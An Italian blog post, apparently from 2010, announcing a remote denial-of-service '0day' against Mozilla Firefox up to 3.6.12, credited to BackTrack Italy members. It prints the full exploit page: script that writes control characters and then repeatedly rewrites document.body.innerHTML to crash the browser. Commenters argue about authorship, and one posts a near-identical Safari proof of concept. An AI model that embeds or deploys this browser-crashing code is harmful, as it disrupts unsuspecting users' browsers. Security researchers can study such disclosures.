0day Mozilla Firefox, Denial of Service

Il team Italiano di BackTrack ha recentemente trovato un exploit 0Day per Mozilla Firefox, il quale prevede un Remote Denial of Service.

Dopo il salto il codice dell’exploit…


&amp;lt;!--

0day Mozilla Firefox &amp;lt;= 3.6.12 Remote Denial Of Service

Credits:
Emanuele 'emgent' Gentili    &amp;lt;emgent@backtrack-linux.org&amp;gt;
Marco 'white_sheep' Rondini    &amp;lt;white_sheep@backtrack-linux.org&amp;gt;
Alessandro 'scox' Scoscia    &amp;lt;scox@backtrack.it&amp;gt;

--&amp;gt;

&amp;lt;script&amp;gt;document.write("\u0000\u0001\u0002\u0003\u0004\u0005")&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;
var i=0;
for (i=0;i&amp;lt;=19999;i++)
{
document.write("a");
}

for (i=0;i&amp;lt;=3;i++)
{
document.write(document.body.innerHTML);
}

&amp;lt;/script&amp;gt;

Correlati

13 novembre 2010/6 Commenti/da

RompiPalla

Mozila** non Mozzilla
- RompiPalla
  
  un exploit 0Day per Mozzilla Firefox, la quale prevede un Remote Denial of Service. …
  
  Cosa è la quale ? se un exploit è femminile allora si scrive un’exploit , altrimenti ” … il quale …” oppure “…che…” . Mi sa che fantozzi è di famiglia 🙂 Ciao
  - Andrea Draghetti
    
    E direi anche con la F maiuscola! 🙂 Grazie delle correzioni!
Alessio Dalla Piazza

direi invece che emegent è solo un buffone 😛 mando exploit al db e mi vengono rifiutati e dopo 2 ore ne compare un o sulla base del mio con la semplice aggiunta di un for 😛

BACKTRACK IT => FUCK
- morfes
  
  Ciao Alessio quindi emgent ti ha copiato o fregato una vulnerabilità di Firefox scoperta da te?
  - Alessio Dalla Piazza
    
    non si sa bene come sia stato… so solo che lui nega o.o… il mio exploit sul db non era stato accettato ( il mio era SAFARI)
    Dopo invece, aver parlato con emegent via email, me l’hanno pubblicato..
    http://www.exploit-db.com/exploits/15558/
    Questo è il mio:
    Comunque, mio Poc:
    
    document.write(‘a’)
    document.write(document.body.innerHTML)
    
    Il suo poc in sostanza è(quello in exploit db ha codice in più inutile… per far finta che han fatto qualcosa o.o ):
    
    document.write(‘a’)
    for(var i=0;i<3;i++)document.write(document.body.innerHTML)
    
    Trovo una certa somiglianza…
    Comunque morfes, ti voglio consigliare backbox 😀 vieni a trovarci su irc => freenode => backbox oppure sul backbox.org 😀
    
    Ciao

Potrebbero interessarti